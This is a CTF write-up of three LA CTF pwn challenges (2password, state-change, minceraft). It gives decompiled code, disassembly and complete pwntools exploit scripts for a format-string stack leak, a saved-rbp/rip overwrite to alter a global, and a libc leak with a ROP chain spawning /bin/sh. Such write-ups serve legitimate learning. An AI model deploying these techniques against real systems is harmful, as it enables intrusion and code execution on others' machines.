---
# System prepended metadata

title: LA CTF

---

# LA CTF
## pwn/2password
Download: [Chall](https://chall-files.lac.tf/uploads/29300e1ae5ea6df8c0aed7d5c08ab5d80c257899cf4a6d92290e4e54290dacde/chall)
![image](https://hackmd.io/_uploads/HJiXAU8tJx.png)
```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s2[48]; // [rsp+0h] [rbp-D0h] BYREF
  char v5[48]; // [rsp+30h] [rbp-A0h] BYREF
  char v6[48]; // [rsp+60h] [rbp-70h] BYREF
  char s1[56]; // [rsp+90h] [rbp-40h] BYREF
  FILE *v8; // [rsp+C8h] [rbp-8h]

  setbuf(stdout, 0LL);
  printf("Enter username: ");
  readline(s1, 42LL, stdin);
  printf("Enter password1: ");
  readline(v6, 42LL, stdin);
  printf("Enter password2: ");
  readline(v5, 42LL, stdin);
  v8 = fopen("flag.txt", "r");
  if ( !v8 )
  {
    puts("can't open flag");
    exit(1);
  }
  readline(s2, 42LL, v8);
  if ( !strcmp(s1, "kaiphait") && !strcmp(v6, "correct horse battery staple") && !strcmp(v5, s2) )
  {
    puts("Access granted");
  }
  else
  {
    printf("Incorrect password for user ");
    printf(s1);
    putchar(10);
  }
  return 0;
}
``` 
Reversing and checking security it, we can see the bug is from **printf(s1)** (format string) but it just has only 1 **printf(argument)** so it is very hard to **overwrites** or **leaks some specific variables** so we just can **leak the stack**
![image](https://hackmd.io/_uploads/S1OTZwUYkx.png)
After getting the information from the stack, I packed it as 64-bit and obtained the flag.
Script (help by google and chatGPT):
```python 
from pwn import *
import re

p = remote('chall.lac.tf', 31142)
# p = process('./chall')
# gdb.attach(p)

payload = b'%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p'
p.sendlineafter(b'Enter username: ', payload)
p.sendlineafter(b'Enter password1: ', b'1')
p.sendlineafter(b'Enter password2: ', b'1')

p.recvuntil(b'Incorrect password for user ')
recv = p.recvline().strip()
print(recv)

input_string = recv.decode(errors="ignore")

input_string = input_string.replace("(nil)", "0x0")
print("\nFiltered String:", input_string)

hex_values = re.split(r'(?=0x[0-9a-fA-F]+)', input_string)

hex_values = [h for h in hex_values if h.startswith("0x")]

byte_values = []
for hex_val in hex_values:
    hex_str = hex_val[2:]  
        if len(hex_str) < 2:
        continue
    hex_str = hex_str.rjust(16, '0')
    byte_values.append(bytes.fromhex(hex_str))

for i, byte_val in enumerate(byte_values):
    print(f"Bytes {i}: {byte_val[::-1]}")

p.interactive()
```
![image](https://hackmd.io/_uploads/S1Xe7VctJx.png)

Flag: **lactf{hunter2_cfc0xz68}**
![image](https://hackmd.io/_uploads/SJtDQv8K1x.png)

## state-change
Download [chall](https://chall-files.lac.tf/uploads/d538733c7408bb1cad86b44d2e5746a05a1676e26ef2a600b86fb065f3dc51ae/chall)
![image](https://hackmd.io/_uploads/SyAxBYOKye.png)
**Vuln**:
```
Dump of assembler code for function vuln:
   0x00000000004012b5 <+0>:     endbr64
   0x00000000004012b9 <+4>:     push   rbp
   0x00000000004012ba <+5>:     mov    rbp,rsp
   0x00000000004012bd <+8>:     sub    rsp,0x20
   0x00000000004012c1 <+12>:    lea    rax,[rip+0xd80]        # 0x402048
   0x00000000004012c8 <+19>:    mov    rdi,rax
   0x00000000004012cb <+22>:    call   0x401090 <puts@plt>
   0x00000000004012d0 <+27>:    mov    rdx,QWORD PTR [rip+0x2d59]        # 0x404030 <stdin@GLIBC_2.2.5>
   0x00000000004012d7 <+34>:    lea    rax,[rbp-0x20]
   0x00000000004012db <+38>:    mov    esi,0x30
   0x00000000004012e0 <+43>:    mov    rdi,rax
   0x00000000004012e3 <+46>:    call   0x4010c0 <fgets@plt>
   0x00000000004012e8 <+51>:    nop
   0x00000000004012e9 <+52>:    leave
=> 0x00000000004012ea <+53>:    ret
End of assembler dump.
```
```c 
char *vuln()
{
  char s[32]; // [rsp+0h] [rbp-20h] BYREF

  puts("Hey there, I'm deaddead. Who are you?");
  return fgets(s, 48, stdin);
}
```
**Win**:
```
Dump of assembler code for function win:
   0x00000000004011d6 <+0>:     endbr64
   0x00000000004011da <+4>:     push   rbp
   0x00000000004011db <+5>:     mov    rbp,rsp
   0x00000000004011de <+8>:     sub    rsp,0x150
   0x00000000004011e5 <+15>:    lea    rax,[rbp-0x50]
   0x00000000004011e9 <+19>:    movabs rcx,0x742e67616c662f2e
   0x00000000004011f3 <+29>:    mov    QWORD PTR [rax],rcx
   0x00000000004011f6 <+32>:    mov    WORD PTR [rax+0x8],0x7478
   0x00000000004011fc <+38>:    mov    BYTE PTR [rax+0xa],0x0
   0x0000000000401200 <+42>:    lea    rax,[rip+0xe01]        # 0x402008
   0x0000000000401207 <+49>:    mov    rsi,rax
   0x000000000040120a <+52>:    lea    rax,[rip+0xdf9]        # 0x40200a
   0x0000000000401211 <+59>:    mov    rdi,rax
   0x0000000000401214 <+62>:    call   0x4010d0 <fopen@plt>
   0x0000000000401219 <+67>:    mov    QWORD PTR [rbp-0x8],rax
   0x000000000040121d <+71>:    mov    eax,DWORD PTR [rip+0x331d]        # 0x404540 <state>
   0x0000000000401223 <+77>:    cmp    eax,0xf1eeee2d
   0x0000000000401228 <+82>:    je     0x401243 <win+109>
   0x000000000040122a <+84>:    lea    rax,[rip+0xde2]        # 0x402013
   0x0000000000401231 <+91>:    mov    rdi,rax
   0x0000000000401234 <+94>:    call   0x401090 <puts@plt>
   0x0000000000401239 <+99>:    mov    edi,0x1
   0x000000000040123e <+104>:   call   0x4010e0 <exit@plt>
   0x0000000000401243 <+109>:   cmp    QWORD PTR [rbp-0x8],0x0
   0x0000000000401248 <+114>:   jne    0x40125b <win+133>
   0x000000000040124a <+116>:   lea    rax,[rip+0x330f]        # 0x404560 <errorMsg>
   0x0000000000401251 <+123>:   mov    rdi,rax
   0x0000000000401254 <+126>:   call   0x401090 <puts@plt>
   0x0000000000401259 <+131>:   jmp    0x4012b2 <win+220>
   0x000000000040125b <+133>:   mov    rdx,QWORD PTR [rbp-0x8]
   0x000000000040125f <+137>:   lea    rax,[rbp-0x150]
   0x0000000000401266 <+144>:   mov    esi,0x100
   0x000000000040126b <+149>:   mov    rdi,rax
   0x000000000040126e <+152>:   call   0x4010c0 <fgets@plt>
   0x0000000000401273 <+157>:   lea    rax,[rbp-0x150]
   0x000000000040127a <+164>:   lea    rdx,[rip+0xdaf]        # 0x402030
   0x0000000000401281 <+171>:   mov    rsi,rdx
   0x0000000000401284 <+174>:   mov    rdi,rax
   0x0000000000401287 <+177>:   call   0x4010b0 <strcspn@plt>
   0x000000000040128c <+182>:   mov    BYTE PTR [rbp+rax*1-0x150],0x0
   0x0000000000401294 <+190>:   lea    rax,[rip+0xd97]        # 0x402032
   0x000000000040129b <+197>:   mov    rdi,rax
   0x000000000040129e <+200>:   call   0x401090 <puts@plt>
   0x00000000004012a3 <+205>:   lea    rax,[rbp-0x150]
   0x00000000004012aa <+212>:   mov    rdi,rax
   0x00000000004012ad <+215>:   call   0x401090 <puts@plt>
   0x00000000004012b2 <+220>:   nop
   0x00000000004012b3 <+221>:   leave
   0x00000000004012b4 <+222>:   ret
End of assembler dump.
```

```c
int win()
{
  char s[256]; // [rsp+0h] [rbp-150h] BYREF
  char v2[16]; // [rsp+100h] [rbp-50h] BYREF
  FILE *stream; // [rsp+148h] [rbp-8h]

  strcpy(v2, "./flag.txt");
  stream = fopen("flag.txt", "r");
  if ( state != 0xF1EEEE2D )
  {
    puts("\ntoo ded to gib you the flag");
    exit(1);
  }
  if ( !stream )
    return puts(errorMsg);
  fgets(s, 256, stream);
  s[strcspn(s, "\n")] = 0;
  puts("Here's the flag: ");
  return puts(s);
}
```

After checking for a while, there is no way to reach to **win** function except using **ret2win**

But we have a problem that we can not pass the competition of **state** and **4058967597** (**0xf1eeee2d**), so i try to **return** after the competition but it can not open the file flag.txt so we just can change the **state** into **4058967597** (**0xf1eeee2d**)

```c 
char *vuln()
{
  char s[32]; // [rsp+0h] [rbp-20h] BYREF

  puts("Hey there, I'm deaddead. Who are you?");
  return fgets(s, 48, stdin);
}
```
Look at the **vuln** function, because the **s** array just have 32 byte, but you can text 48 byte so it can overwrite **save rbp and save rip** so we can control **save rbp** and **rsp** to change the value of **state** by change **save rip** into **vuln** to fgets again and change the value of **state**
![image](https://hackmd.io/_uploads/SyCL5T2Q1x.png)

Let try can i change **state** into another value
Script:
```python 
from pwn import *
p = process('./chall')
input()
payload = b'A' * 32 + p64(0x404540 + 0x20) + p64(0x4012bd) + p64(0x111111111111111111)
p.sendline(payload)
p.interactive()
```
![image](https://hackmd.io/_uploads/BJSSFK_Kyl.png)
0x4012bd is **vuln + 8**
0x404540 is address of **state** and +0x20 because look at the **vuln** function again
```
0x00000000004012b5 <+0>:     endbr64
0x00000000004012b9 <+4>:     push   rbp
0x00000000004012ba <+5>:     mov    rbp,rsp
0x00000000004012bd <+8>:     sub    rsp,0x20
```
after that **rsp = rbp - 0x20** and you can change the value in **[rsp]** so we need to plus **rbp** more **0x20** to change **state**
![image](https://hackmd.io/_uploads/SJrkjtOF1l.png)
After **fgets** again the value of **state** have been change.
![image](https://hackmd.io/_uploads/rJkvcKOFJg.png)


My final script:
```python 
from pwn import *
# p = process('./chall')
p = remote('chall.lac.tf', 31593)
payload = b'A' * 32 + p64(0x404540 + 0x20) + p64(0x4012bd)[:-1]
p.sendafter(b'you?\n', payload)
payload = p64(0xf1eeee2d).ljust(32, b'A') + p64(0) + p64(0x4011db)[:-1]
p.sendafter(b'you?\n', payload)
p.interactive()
```
Eg: 
![image](https://hackmd.io/_uploads/SkbMiKdYkl.png)
**State** have been change to the right value and we got flag
![image](https://hackmd.io/_uploads/ryrcLt_tkx.png)
Flag: lactf{1s_tHi5_y0Ur_1St_3vER_p1Voot}
![image](https://hackmd.io/_uploads/BJ0p7PIYye.png)






Notice: using **sendafter** or combine 2 payload into 1 and don't forget to have **[:-1]** before the because the author using **fgets**, **fgets** can be stop if it meet NULL byte or (n - 1) byte input completed, so we use [:-1] to but a byte of the address so we can re-input 47 byte again when we use the **fgets** in vuln

## pwn/minceraft
![image](https://hackmd.io/_uploads/H1dD3oHcke.png)
Flow:
leak libc -> stack_pivot -> rop chain

![image](https://hackmd.io/_uploads/Hk1srVI91l.png)
**BOF**
![image](https://hackmd.io/_uploads/r1kQI4I5Je.png)
We can leak libc here if we can control **rax**. We can also control the **rax** because **rax** will contain the result of the function, we can call **read_int** and then leak libc then we call **system('/bin/sh')**.

```python3 
from pwn import * 

p = process('./chall_patched')

gdb.attach(p, gdbscript = '''
b* main
b* read_int
b* main + 185
''')

input()
p.sendline(b'1') # Single player

offset = 0x48
ret = 0x401016
pivot = 0x404000
read_int = 0x401176
puts = 0x404000
mov_rdi_rax = 0x401243

leak_libc = flat(
    b'A' * offset,
    p64(ret),
    p64(read_int),
    p64(mov_rdi_rax)
)

input()
p.sendline(leak_libc)
input()
p.sendline(b'1') # Survival
p.sendlineafter(b'Exit\n', b'2') # Exit
input()
p.sendline(b'4210688')
data = p.recvline().strip()
puts_libc = u64(data.ljust(8, b'\x00'))
print(hex(puts_libc))

p.interactive()
```
![image](https://hackmd.io/_uploads/r12fGrI9kl.png)
Leak puts_libc 


![image](https://hackmd.io/_uploads/HkQsMHU5Jg.png)
calc offset from libc_base to puts_libc. => libc_base = puts_libc - 0x77980


![image](https://hackmd.io/_uploads/Sktg4S85kx.png)
![image](https://hackmd.io/_uploads/r1x84r8c1l.png)
bin_sh = libc_base + 0xa3d31

![image](https://hackmd.io/_uploads/SJ73NH8qJg.png)
=> pop_rdi = libc_base + 0x0277e5

![image](https://hackmd.io/_uploads/BkzmFH891e.png)
=> system = libc_base + 0x04c490

```python3 
from pwn import * 

p = process('./chall_patched')

gdb.attach(p, gdbscript = '''
b* main
b* read_int
b* main + 185
''')

input()
p.sendline(b'1') # Single player

offset = 0x48
ret = 0x401016
pivot = 0x404000
read_int = 0x401176
mov_rdi_rax = 0x401243

leak_puts_libc = flat(
    b'A' * offset,
    p64(ret),
    p64(read_int),
    p64(mov_rdi_rax)
)

p.sendline(leak_puts_libc)
p.sendline(b'1') # Survival
p.sendlineafter(b'Exit\n', b'2') # Exit
input()
p.sendline(b'4210688')

data = p.recvline().strip()
puts_libc = u64(data.ljust(8, b'\x00'))
libc_base = puts_libc - 0x77980


bin_sh = libc_base + 0xa3d31
system = libc_base + 0x04c490
pop_rdi = libc_base + 0x0277e5

print(hex(libc_base))

final = flat(
    b'A' * offset,
    p64(pop_rdi),
    p64(bin_sh),
    p64(system)
)

input()
p.sendline(final)

p.interactive()
```

![image](https://hackmd.io/_uploads/ryWpqr8qJe.png)
Stack pivot to fix it 

Final script:
```python3 
from pwn import * 

p = process('./chall_patched')

gdb.attach(p, gdbscript = '''
b* main
b* read_int
b* main + 185
''')

input()
p.sendline(b'1') # Single player

offset = 0x40
ret = 0x401016
pivot = 0x404700
read_int = 0x401176
mov_rdi_rax = 0x401243

leak_puts_libc = flat(
    b'A' * offset,
    p64(pivot),
    p64(ret),
    p64(read_int),
    p64(mov_rdi_rax)
)

p.sendline(leak_puts_libc)
p.sendline(b'1') # Survival
p.sendlineafter(b'Exit\n', b'2') # Exit
input()
p.sendline(b'4210688')

data = p.recvline().strip()
puts_libc = u64(data.ljust(8, b'\x00'))
libc_base = puts_libc - 0x77980


bin_sh = libc_base + 0x196031
system = libc_base + 0x04c490
pop_rdi = libc_base + 0x0277e5

print(hex(libc_base))

final = flat(
    b'A' * offset,
    p64(pivot),
    p64(pop_rdi),
    p64(bin_sh),
    p64(ret),
    p64(system)
)

input()
p.sendline(final)
p.sendline(b'1')
p.sendline(b'2')

p.interactive()
```
![image](https://hackmd.io/_uploads/HJtkCSL51x.png)
Flag: W1{hehe} 
